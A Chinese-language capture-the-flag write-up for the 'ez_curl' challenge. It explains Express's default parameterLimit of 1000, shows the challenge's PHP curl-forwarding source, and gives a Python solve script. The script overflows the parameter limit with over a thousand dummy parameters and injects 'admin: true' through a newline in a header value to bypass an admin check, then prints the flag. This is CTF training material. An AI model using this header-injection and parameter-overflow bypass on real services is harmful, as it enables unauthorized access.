文章目录
- 前言
- 一、ez_curl
- 1.题目
- 2.答题
前言
Express是一个流行的Node.js Web框架,它提供了许多有用的功能来构建Web应用程序。其中之一是参数解析,它允许开发者解析HTTP请求中的参数。Express提供了许多选项来配置参数解析。其中之一是parameterLimit选项。
parameterLimit选项用于指定query string或者request payload的最大数量。默认情况下,它的值是1000。如果你的应用程序需要解析大量的查询字符串或者请求负载,你可能需要增加这个限制。例如,如果你的应用程序需要处理非常长的查询字符串,你可以将parameterLimit设置为一个更高的值。
以下是一个示例,演示如何使用parameterLimit选项来增加query string和request payload的限制:
const express = require('express')const app = express()// 将parameterLimit设置为10000app.use(express.json({ parameterLimit: 10000 }))app.use(express.urlencoded({ parameterLimit: 10000, extended: true }))
在上面的代码中,我们将parameterLimit设置为10000。这将允许我们解析更大的请求负载和查询字符串。
需要注意的是,如果你将parameterLimit设置为一个非常高的值,可能会导致安全问题。攻击者可以发送恶意请求,包含大量参数,导致服务器崩溃。因此,你应该谨慎地设置参数限制,并确保你的应用程序具有有效的安全措施,以防止此类攻击。
一、ez_curl
1.题目
2.答题
打开题目发现
<" />(__FILE__);$url = 'http://back-end:3000/flag?';$input = file_get_contents('php://input');$headers = (array)json_decode($input)->headers;for($i = 0; $i < count($headers); $i++){$offset = stripos($headers[$i], ':');$key = substr($headers[$i], 0, $offset);$value = substr($headers[$i], $offset + 1);if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){die('try hard');}}$params = (array)json_decode($input)->params;$url .= http_build_query($params);$url .= '&admin=false';$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);curl_setopt($ch, CURLOPT_NOBODY, FALSE);$result = curl_exec($ch);curl_close($ch);echo $result;try hard1
本体两个知识点分别是:
- express的parameterLimit默认为1000
- 根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行
第一点:来自源代码的这一行。结合这篇文章的分析,当我们传入的参数超过1000个时,之后的参数会被舍弃掉。于是这里我们最开始发个”admin”:”t”设置好admin的值,加上999个没用的参数,把程序拼接的&admin=false挤掉,即可绕过过滤。
第二点:header 字段可以通过在每一行前面至少加一个SP 或 HT 来扩展到多行。以此绕过对 headers 的过滤
python脚本如下:
import requestsimport jsonfrom abc import ABCfrom flask.sessions import SecureCookieSessionInterfaceurl = "http://61.147.171.105:58830/"datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"], "params": {"admin": "true"}}for i in range(1020):datas["params"]["x" + str(i)] = iheaders = {"Content-Type": "application/json"}json1 = json.dumps(datas)print(json1)resp = requests.post(url, headers=headers, data=json1)print(resp.content)
得到flag:CatCTF{23aaaab824aadf15eb19f4236f3e3b51}